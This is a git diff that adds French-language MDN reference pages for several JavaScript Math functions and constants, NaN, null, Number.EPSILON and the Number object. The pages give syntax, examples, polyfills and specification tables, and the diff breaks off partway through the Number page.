Un nombre (qui exprime un angle en radians).
+
+ +

Valeur de retour

+ +

Le sinus de la valeur passée en argument (qui correspond à un angle en radians).

+ +

Description

+ +

La méthode sin() renvoie une valeur numérique comprise (au sens large) entre 1 et -1 et qui représente le sinus d'un angle donné en radians.

+ +

sin() est une méthode statique de Math, elle doit être utilisée avec la syntaxe Math.sin(), elle ne doit pas être utilisée comme une méthode d'un objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemples

+ +
Math.sin(0);           // 0
+Math.sin(1);           // 0.8414709848078965
+
+Math.sin(Math.PI / 2); // 1
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.16', 'Math.sin')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.sin', 'Math.sin')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.sin', 'Math.sin')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.sin")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.acos()")}}
    • +
  • {{jsxref("Math.asin()")}}
    • +
  • {{jsxref("Math.atan()")}}
    • +
  • {{jsxref("Math.atan2()")}}
    • +
  • {{jsxref("Math.cos()")}}
    • +
  • {{jsxref("Math.tan()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/sinh/index.html b/files/fr/web/javascript/reference/global_objects/math/sinh/index.html new file mode 100644 index 0000000000..33c5813d67 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/sinh/index.html @@ -0,0 +1,98 @@ +--- +title: Math.sinh() +slug: Web/JavaScript/Reference/Objets_globaux/Math/sinh +tags: + - ECMAScript 2015 + - JavaScript + - Math + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Math/sinh +--- +
{{JSRef}}
+ +

La fonction Math.sinh() renvoie le sinus hyperbolique d'un nombre, dont la formule, utilisant la constante {{jsxref("Math.E","e")}}, est :

+ +

Math.sinh(x)=ex-e-x2\mathtt{\operatorname{Math.sinh(x)}} = \frac{e^x - e^{-x}}{2}

+ +
{{EmbedInteractiveExample("pages/js/math-sinh.html")}}
+ + + +

Syntaxe

+ +
Math.sinh(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

Le sinus hyperbolique de la valeur passée en argument.

+ +

Description

+ +

sinh() est une méthode statique de Math, il faut utiliser la syntaxe Math.sinh(). Cette méthode ne doit pas être appelée depuis un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemples

+ +
Math.sinh(0) // 0
+Math.sinh(1) // 1.1752011936438014
+ +

Prothèse d'émulation (polyfill)

+ +

Si cette fonction n'est pas disponible, elle peut être émulée en utilisant la fonction {{jsxref("Math.exp()")}} :

+ +
Math.sinh = Math.sinh || function(x){
+    return (Math.exp(x) - Math.exp(-x)) / 2;
+};
+ +

ou encore, si on n'utilise qu'une fois {{jsxref("Math.exp()")}}, avec :

+ +
Math.sinh = Math.sinh || function(x){
+    var y = Math.exp(x);
+    return (y - 1/y) / 2;
+};
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-math.sinh', 'Math.sinh')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-math.sinh', 'Math.sinh')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.sinh")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.acosh()")}}
    • +
  • {{jsxref("Math.asinh()")}}
    • +
  • {{jsxref("Math.atanh()")}}
    • +
  • {{jsxref("Math.cosh()")}}
    • +
  • {{jsxref("Math.tanh()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/sqrt/index.html b/files/fr/web/javascript/reference/global_objects/math/sqrt/index.html new file mode 100644 index 0000000000..1a95e53caa --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/sqrt/index.html @@ -0,0 +1,97 @@ +--- +title: Math.sqrt() +slug: Web/JavaScript/Reference/Objets_globaux/Math/sqrt +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/sqrt +--- +
{{JSRef}}
+ +

La fonction Math.sqrt() renvoie la racine carrée d'un nombre. Cette fonction est définie par :

+ +

∀x≥0,Math.sqrt(x)=x=l'uniquey≥0tel quey2=x\forall x \geq 0, \mathtt{Math.sqrt(x)} = \sqrt{x} = \text{the unique} \; y \geq 0 \; \text{such that} \; y^2 = x

+ +
{{EmbedInteractiveExample("pages/js/math-sqrt.html")}}
+ + + +

Syntaxe

+ +
Math.sqrt(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

La racine carrée du nombre passé en argument. Si le nombre fourni est négatif, c'est {{jsxref("NaN")}} qui sera renvoyé.

+ +

Description

+ +

Si la valeur de x est négative, sqrt renverra {{jsxref("NaN")}}.

+ +

sqrt() est une méthode statique de Math, elle doit être utilisée avec la syntaxe Math.sqrt(), elle ne doit pas être appelée comme méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemples

+ +
Math.sqrt(9);  // 3
+Math.sqrt(2);  // 1.414213562373095
+
+Math.sqrt(1);  // 1
+Math.sqrt(0);  // 0
+Math.sqrt(-1); // NaN
+Math.sqrt(-0); // -0
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.17', 'Math.sqrt')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.sqrt', 'Math.sqrt')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.sqrt', 'Math.sqrt')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.sqrt")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.cbrt()")}}
    • +
  • {{jsxref("Math.exp()")}}
    • +
  • {{jsxref("Math.log()")}}
    • +
  • {{jsxref("Math.pow()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/sqrt1_2/index.html b/files/fr/web/javascript/reference/global_objects/math/sqrt1_2/index.html new file mode 100644 index 0000000000..b845ac3389 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/sqrt1_2/index.html @@ -0,0 +1,80 @@ +--- +title: Math.SQRT1_2 +slug: Web/JavaScript/Reference/Objets_globaux/Math/SQRT1_2 +tags: + - JavaScript + - Math + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2 +--- +
{{JSRef}}
+ +

La propriété Math.SQRT1_2 représente la racine carrée d'1/2 et vaut environ 0.707 :

+ +

Math.SQRT1_2=12=12≈0.707\mathtt{\mi{Math.SQRT1_2}} = \sqrt{\frac{1}{2}} = \frac{1}{\sqrt{2}} \approx 0.707

+ +
{{EmbedInteractiveExample("pages/js/math-sqrt1_2.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

SQRT1_2 est une propriété statique de Math et doit toujours être utilisée avec la syntaxe Math.SQRT1_2. Elle ne doit pas être obtenue à partir d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemples

+ +

La fonction suivante renvoie la valeur de cette constante :

+ +
function getRoot1_2() {
+   return Math.SQRT1_2;
+}
+
+getRoot1_2(); // 0.7071067811865476
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.1.7', 'Math.SQRT1_2')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.sqrt1_2', 'Math.SQRT1_2')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.sqrt1_2', 'Math.SQRT1_2')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.SQRT1_2")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.pow()")}}
    • +
  • {{jsxref("Math.sqrt()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/sqrt2/index.html b/files/fr/web/javascript/reference/global_objects/math/sqrt2/index.html new file mode 100644 index 0000000000..7a02b16e2d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/sqrt2/index.html @@ -0,0 +1,80 @@ +--- +title: Math.SQRT2 +slug: Web/JavaScript/Reference/Objets_globaux/Math/SQRT2 +tags: + - JavaScript + - Math + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT2 +--- +
{{JSRef}}
+ +

La propriété Math.SQRT2 représente la racine carrée de 2 et vaut environ 1.414 :

+ +

Math.SQRT2=2≈1.414\mathtt{\mi{Math.SQRT2}} = \sqrt{2} \approx 1.414

+ +
{{EmbedInteractiveExample("pages/js/math-sqrt2.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

SQRT2 est une propriété statique de Math et doit toujours être utilisée avec la syntaxe Math.SQRT2, elle ne doit pas être appelée comme propriété d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemples

+ +

La fonction suivante renvoie la valeur de la racine carrée de 2 :

+ +
function getRoot2() {
+   return Math.SQRT2;
+}
+
+getRoot2(); // 1.4142135623730951
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.1.8', 'Math.SQRT2')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.sqrt2', 'Math.SQRT2')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.sqrt2', 'Math.SQRT2')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.SQRT2")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.pow()")}}
    • +
  • {{jsxref("Math.sqrt()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/tan/index.html b/files/fr/web/javascript/reference/global_objects/math/tan/index.html new file mode 100644 index 0000000000..948ea10a14 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/tan/index.html @@ -0,0 +1,101 @@ +--- +title: Math.tan() +slug: Web/JavaScript/Reference/Objets_globaux/Math/tan +tags: + - JavaScript + - Math + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Math/tan +--- +
{{JSRef}}
+ +

La fonction Math.tan() renvoie la tangente d'un nombre exprimant un angle en radians.

+ +
{{EmbedInteractiveExample("pages/js/math-tan.html")}}
+ + + +

Syntaxe

+ +
Math.tan(x)
+ +

Paramètres

+ +
+
x
+
Un nombre qui représente un angle en radians.
+
+ +

Valeur de retour

+ +

La tangente de l'angle fourni en argument (exprimé en radians).

+ +

Description

+ +

La méthode Math.tan() renvoie une valeur numérique qui représente la tangente d'un angle.

+ +

tan() est une méthode statique de Math et doit toujours être utilisée avec la syntaxe Math.tan(), elle ne doit pas être utilisée comme méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

+ +

Exemples

+ +

Utiliser Math.tan()

+ +
Math.tan(1); // 1.5574077246549023
+ +

Math.tan() considère un argument exprimé en radians. Cependant, on peut vouloir travailler avec des valeurs en degrés. Pour cela, on pourra utiliser la fonction suivante qui calcule la tangente après avoir converti l'argument en radians :

+ +
function getTanDeg(deg) {
+   var rad = deg * Math.PI/180;
+   return Math.tan(rad);
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.18', 'Math.tan')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.tan', 'Math.tan')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.tan', 'Math.tan')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.tan")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.acos()")}}
    • +
  • {{jsxref("Math.asin()")}}
    • +
  • {{jsxref("Math.atan()")}}
    • +
  • {{jsxref("Math.atan2()")}}
    • +
  • {{jsxref("Math.cos()")}}
    • +
  • {{jsxref("Math.sin()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/tanh/index.html b/files/fr/web/javascript/reference/global_objects/math/tanh/index.html new file mode 100644 index 0000000000..0567a5430c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/tanh/index.html @@ -0,0 +1,106 @@ +--- +title: Math.tanh() +slug: Web/JavaScript/Reference/Objets_globaux/Math/tanh +tags: + - ECMAScript 2015 + - JavaScript + - Math + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Math/tanh +--- +
{{JSRef}}
+ +

La fonction Math.tanh() renvoie la tangente hyperbolique d'un nombre définie par :

+ +

tanhx=sinhxcoshx=ex-e-xex+e-x=e2x-1e2x+1\tanh x = \frac{\sinh x}{\cosh x} = \frac {e^x - e^{-x}} {e^x + e^{-x}} = \frac{e^{2x} - 1}{e^{2x}+1}

+ +
{{EmbedInteractiveExample("pages/js/math-tanh.html")}}
+ +

Syntaxe

+ +
Math.tanh(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

La tangente hyperbolique du nombre fourni en argument.

+ +

Description

+ +

tanh() est une méthode statique de l'objet Math, elle doit toujours être utilisée avec la syntaxe Math.tanh(), elle ne doit pas être utilisée comme une méthode d'un objet Math qui aurait été instancié (Math n'est pas une constructeur).

+ +

Exemples

+ +

Utiliser Math.tanh()

+ +
Math.tanh(0);        // 0
+Math.tanh(Infinity); // 1
+Math.tanh(1);        // 0.7615941559557649
+ +

Prothèse d'émulation (polyfill)

+ +

Cette méthode peut être émulée grâce à la fonction {{jsxref("Objets_globaux/Math/exp", "Math.exp()")}} :

+ +
Math.tanh = Math.tanh || function(x){
+  var a = Math.exp(+x), b = Math.exp(-x);
+  return a == Infinity ? 1 : b == Infinity ? -1 : (a - b) / (a + b);
+}
+ +

et si on souhaite n'utiliser qu'un seul appel à {{jsxref("Objets_globaux/Math/exp", "Math.exp()")}} :

+ +
Math.tanhx = Math.tanhx || function(x) {
+  if(x === Infinity) {
+    return 1;
+  } else if(x === -Infinity) {
+    return -1;
+  } else {
+    var y = Math.exp(2 * x);
+    return (y - 1) / (y + 1);
+  }
+};
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-math.tanh', 'Math.tanh')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.tanh', 'Math.tanh')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.tanh")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.acosh()")}}
    • +
  • {{jsxref("Math.asinh()")}}
    • +
  • {{jsxref("Math.atanh()")}}
    • +
  • {{jsxref("Math.cosh()")}}
    • +
  • {{jsxref("Math.sinh()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/math/trunc/index.html b/files/fr/web/javascript/reference/global_objects/math/trunc/index.html new file mode 100644 index 0000000000..beb1f33d0b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/math/trunc/index.html @@ -0,0 +1,97 @@ +--- +title: Math.trunc() +slug: Web/JavaScript/Reference/Objets_globaux/Math/trunc +tags: + - ECMAScript 2015 + - JavaScript + - Math + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Math/trunc +--- +
{{JSRef}}
+ +

La fonction Math.trunc() retourne la troncature entière d'un nombre en retirant sa partie décimale.

+ +

Math.trunc(x)={⌊x⌋six≥0⌈x⌉six<0\mathtt{\operatorname{Math.trunc}(x)} = \begin{cases} \left\lfloor x \right\rfloor & \text{if} & x \geq 0 \\ \left\lceil x \right\rceil & \text{if} &x < 0 \end{cases}

+ +
{{EmbedInteractiveExample("pages/js/math-trunc.html")}}
+ + + +

Syntaxe

+ +
Math.trunc(x)
+ +

Paramètres

+ +
+
x
+
Un nombre.
+
+ +

Valeur de retour

+ +

La partie entière du nombre passé en argument.

+ +

Description

+ +

Contrairement aux autres méthodes {{jsxref("Math.floor()")}}, {{jsxref("Math.ceil()")}} et {{jsxref("Math.round()")}}, Math.trunc() fonctionne de façon très simple : la partie décimale du nombre est retirée et on conserve la partie entière (que le nombre soit positif ou négatif).
+
+ Ainsi, si l'argument est un nombre positif, Math.trunc() sera équivalent à Math.floor(), sinon Math.trunc() sera équivalent à Math.ceil().

+ +

On notera que l'argument passé à la méthode est converti en nombre de façon implicite.

+ +

trunc() est une méthode statique de Math, elle doit toujours être utilisée avec la syntaxe Math.trunc(), elle ne doit pas être utilisée comme la méthode d'un objet qui aurait été instancié (Math n'est pas un constructeur).

+ +

Exemples

+ +

Utiliser Math.trunc()

+ +
Math.trunc(13.37);   // 13
+Math.trunc(42.84);   // 42
+Math.trunc(0.123);   //  0
+Math.trunc(-0.123);  // -0
+Math.trunc("-1.123");// -1
+Math.trunc(NaN);     // NaN
+Math.trunc("toto");  // NaN
+Math.trunc();        // NaN
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaire
{{SpecName('ES2015', '#sec-math.trunc', 'Math.trunc')}}{{Spec2('ES2015')}}Première définition.
{{SpecName('ESDraft', '#sec-math.trunc', 'Math.trunc')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Math.trunc")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Math.abs()")}}
    • +
  • {{jsxref("Math.ceil()")}}
    • +
  • {{jsxref("Math.floor()")}}
    • +
  • {{jsxref("Math.round()")}}
    • +
  • {{jsxref("Math.sign()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/nan/index.html b/files/fr/web/javascript/reference/global_objects/nan/index.html new file mode 100644 index 0000000000..e8b97ac8ba --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/nan/index.html @@ -0,0 +1,92 @@ +--- +title: NaN +slug: Web/JavaScript/Reference/Objets_globaux/NaN +tags: + - JavaScript + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/NaN +--- +
{{jsSidebar("Objects")}}
+ +

La propriété globale NaN est une valeur utilisée pour représenter une quantité qui n'est pas un nombre (Not a Number en anglais).

+ +

{{js_property_attributes(0,0,0)}}

+ +
{{EmbedInteractiveExample("pages/js/globalprops-nan.html")}}
+ + + +

Syntaxe

+ +
NaN
+ +

Description

+ +

NaN est une propriété de l'objet global, c'est-à-dire qu'elle est accessible globalement.

+ +

La valeur initiale de NaN est Number.NaN. Dans les navigateurs modernes, NaN est une propriété non-configurable et non-écrivable. Si ce n'est pas le cas, il faut éviter de la modifier et de l'écraser.

+ +

Il est rare d'utiliser expressément NaN dans un programme. On récupère généralement NaN comme le résultat d'une fonction mathématique qui échoue (Math.sqrt(-1)) où quand une fonction qui tente d'interpréter un nombre échoue (parseInt("blabla")).

+ +

Tester NaN

+ +

Les opérateurs d'égalité (== et ===) ne peuvent pas être utilisé pour tester une valeur par rapport à NaN. Il faut utiliser {{jsxref("Number.isNaN()")}} ou {{jsxref("isNaN", "isNaN()")}} à la place.

+ +
NaN === NaN;        // false
+Number.NaN === NaN; // false
+isNaN(NaN);         // true
+isNaN(Number.NaN);  // true
+
+ +

La différence entre isNaN() et Number.isNaN() est la façon dont les valeurs sont, ou non, converties en nombre avant de vérifier si la valeur est NaN : isNaN() convertira l'argument en nombre avant de vérifier alors que Number.isNaN() ne renverra true que si l'opérande vaut NaN.

+ +
isNaN('coucou monde');        // renvoie true
+Number.isNaN('coucou monde'); // renvoie false
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3
{{SpecName('ES5.1', '#sec-15.1.1.1', 'NaN')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-value-properties-of-the-global-object-nan', 'NaN')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-nan', 'NaN')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.NaN")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/null/index.html b/files/fr/web/javascript/reference/global_objects/null/index.html new file mode 100644 index 0000000000..bab3a87310 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/null/index.html @@ -0,0 +1,91 @@ +--- +title: 'null' +slug: Web/JavaScript/Reference/Objets_globaux/null +tags: + - JavaScript + - Littéral + - Primitive + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/null +--- +
{{jsSidebar("Objects")}}
+ +

La valeur null est un littéral JavaScript représentant la nullité au sens où aucune valeur pour l'objet n'est présente. C'est une des valeurs primitives de JavaScript.

+ +
{{EmbedInteractiveExample("pages/js/globalprops-null.html")}}
+ + + +

Syntaxe

+ +
null
+ +

Description

+ +

La valeur null est un littéral (et non pas une propriété de l'objet global telle que {{jsxref("undefined")}}). Dans certaines API, null est souvent utilisé en valeur de retour lorsqu'un objet est attendu mais qu'aucun objet ne convient. Lors de tests d'égalité avec null ou undefined, il faut faire attention aux différences entre les opérateurs d'égalité faible (==) et stricte (===) (on aura une conversion de type avec le premier).

+ +
// toto n'existe pas, n'a pas été défini et n'a jamais été initialisé
+toto;
+"ReferenceError: toto is not defined"
+
+// toto existe mais n'a ni type ni valeur
+var toto = null;
+console.log(toto); // null
+ +

Différence entre null et undefined

+ +
typeof null;           // "object" (pas null pour des raisons historiques)
+typeof undefined;      // "undefined"
+null === undefined;    // false
+null  == undefined;    // true
+null === null;         // true
+null  == null;         // true
+!null;                 // true
+isNaN(1 + null);       // false
+isNaN(1 + undefined);  // true
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-4.3.11', 'null value')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-null-value', 'null value')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-null-value', 'null value')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.null")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("undefined")}}
    • +
  • {{jsxref("NaN")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/epsilon/index.html b/files/fr/web/javascript/reference/global_objects/number/epsilon/index.html new file mode 100644 index 0000000000..75bab809e7 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/epsilon/index.html @@ -0,0 +1,76 @@ +--- +title: Number.EPSILON +slug: Web/JavaScript/Reference/Objets_globaux/Number/EPSILON +tags: + - ECMAScript 2015 + - JavaScript + - Number + - Propriété + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Number/EPSILON +--- +
{{JSRef}}
+ +

La propriété Number.EPSILON représente la différence entre le chiffre 1 (un) et la plus petite valeur supérieure à 1 qui peut être représentée par un nombre en JavaScript.

+ +

Il n'est pas nécessaire de créer un objet {{jsxref("Number")}} pour accéder à cette propriété statique, elle est accessible avec Number.EPSILON.

+ +
{{EmbedInteractiveExample("pages/js/number-epsilon.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

La propriété EPSILON vaut environ 2.2204460492503130808472633361816E-16 (ce qui correspond à 2-52).

+ +

Exemple

+ +

Tester une égalité mathématique avec un seuil de précision

+ +
x = 0.2;
+y = 0.3;
+equal = (Math.abs(x - y) < Number.EPSILON);
+ +

Prothèse d'émulation (polyfill)

+ +
if (Number.EPSILON === undefined) {
+  Number.EPSILON  =  Math.pow(2, -52);
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-number.epsilon', 'Number.EPSILON')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-number.epsilon', 'Number.EPSILON')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Number.EPSILON")}}

+ +

Voir aussi

+ +
    +
  • L'objet {{jsxref("Number")}} auquel appartient cette propriété.
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/number/index.html b/files/fr/web/javascript/reference/global_objects/number/index.html new file mode 100644 index 0000000000..c5894cb63a --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/number/index.html @@ -0,0 +1,203 @@ +--- +title: Number +slug: Web/JavaScript/Reference/Objets_globaux/Number +tags: + - JavaScript + - Number + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Number +--- +
{{JSRef}}
+ +

L'objet Number est une enveloppe objet (wrapper) autour du type primitif numérique. Autrement dit, il est utilisé pour manipuler les nombres comme des objets. Pour créer un objet Number, on utilise le constructeur Number().

+ +

Le type JavaScript Number utilise une représentation binaire à précision double sur 64 bits telle que décrite par le standard IEEE 754. Les implémentations plus récentes offrent un nouveau type : {{jsxref("BigInt")}} qui permet de représenter des entiers avec une précision arbitraire.

+ +

Syntaxe

+ +
new Number(valeur);
+var a = new Number('123'); // a === 123 donnera false
+var b = Number('123'); // b === 123 donnera true
+a instanceof Number; // donnera true
+b instanceof Number; // donnera false
+ +

Paramètres

+ +
+
valeur
+
La valeur numérique pour l'objet qu'on souhaite créer.
+
+ +

Description

+ +

L'objet Number est principalement utilisé dans les cas de figure suivants :

+ +
    +
  • Si l'argument ne peut pas être converti en un nombre, il renverra {{jsxref("NaN")}}.
    • +
  • Dans un contexte de fonction simple (quand il n'est pas utilisé comme un constructeur avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}), Number peut être utilisé afin d'effectuer des conversions.
    • +
+ +

Propriétés

+ +
+
{{jsxref("Number.EPSILON")}}
+
Le plus petit intervalle entre deux valeurs qu'il est possible de représenter en JavaScript.
+
{{jsxref("Number.MAX_SAFE_INTEGER")}}
+
La valeur entière maximale qu'on peut représenter en JavaScript (253 - 1).
+
{{jsxref("Number.MAX_VALUE")}}
+
La valeur numérique maximale qu'on peut représenter en JavaScript.
+
{{jsxref("Number.MIN_SAFE_INTEGER")}}
+
La valeur entière minimale qu'on peut représenter en JavaScript (-(253 - 1)).
+
{{jsxref("Number.MIN_VALUE")}}
+
La plus petite valeur qu'on peut représenter en JavaScript, c'est-à-dire le plus petit nombre positif (le nombre le plus près de zéro qui n'est pas égal à zéro et qu'on peut représenter en JavaScript).
+
{{jsxref("Number.NaN")}}
+
Une valeur spéciale pour représenter les valeurs non-numériques (NaN correspond à « not a number » en anglais, qui signifie « n'est pas un nombre »).
+
{{jsxref("Number.NEGATIVE_INFINITY")}}
+
Une valeur spéciale pour représenter l'infini négatif.
+
{{jsxref("Number.POSITIVE_INFINITY")}}
+
Une valeur spéciale pour représenter l'infini (positif).
+
{{jsxref("Number.prototype")}}
+
Cet objet permet d'ajouter des propriétés aux instances de Number.
+
+ +

Méthodes

+ +
+
{{jsxref("Number.isNaN()")}}
+
Cette méthode permet de déterminer si la valeur passée en argument vaut NaN.
+
{{jsxref("Number.isFinite()")}}
+
Cette méthode permet de déterminer si la valeur numérique passée en argument est un nombre fini.
+
{{jsxref("Number.isInteger()")}}
+
Cette méthode permet de déterminer si la valeur passée en argument est un entier.
+
{{jsxref("Number.isSafeInteger()")}}
+
Cette méthode permet de déterminer si la valeur passée en argument peut correctement être représentée comme un entier en JavaScript (savoir si elle est comprise entre -(253 - 1) et 253 - 1).
+
{{jsxref("Number.toInteger()")}} {{obsolete_inline}}
+
Cette méthode est utilisée afin d'évaluer et de convertir la valeur passée en argument en entier (ou en l'{{jsxref("Infinity", "infini","",1)}}). Cette méthode a été supprimée.
+
{{jsxref("Number.parseFloat()", "Number.parseFloat(string)")}}
+
Cette méthode correspond à la méthode {{jsxref("parseFloat", "parseFloat()")}} de l'objet global.
+
{{jsxref("Number.parseInt()", "Number.parseInt(string, [radix])")}}
+
Cette méthode correspond à la méthode {{jsxref("parseInt", "parseInt()")}} de l'objet global.
+
+ +

Les instances de Number

+ +

Toutes les instances de Number héritent de {{jsxref("Number.prototype")}}. Il est possible de modifier le prototype du constructeur Number pour affecter toutes les instances de Number.

+ +

Méthodes

+ +
+
+
{{jsxref("Number.prototype.toExponential()" ,"Number.prototype.toExponential(fractionDigits)")}}
+
Retourne une chaîne représentant le nombre en notation exponentielle.
+
{{jsxref("Number.prototype.toFixed()", "Number.prototype.toFixed(digits)")}}
+
Retourne une chaîne représentant le nombre avec la notation virgule fixe.
+
{{jsxref("Number.prototype.toLocaleString()", "Number.prototype.toLocaleString([locales [, options]])")}}
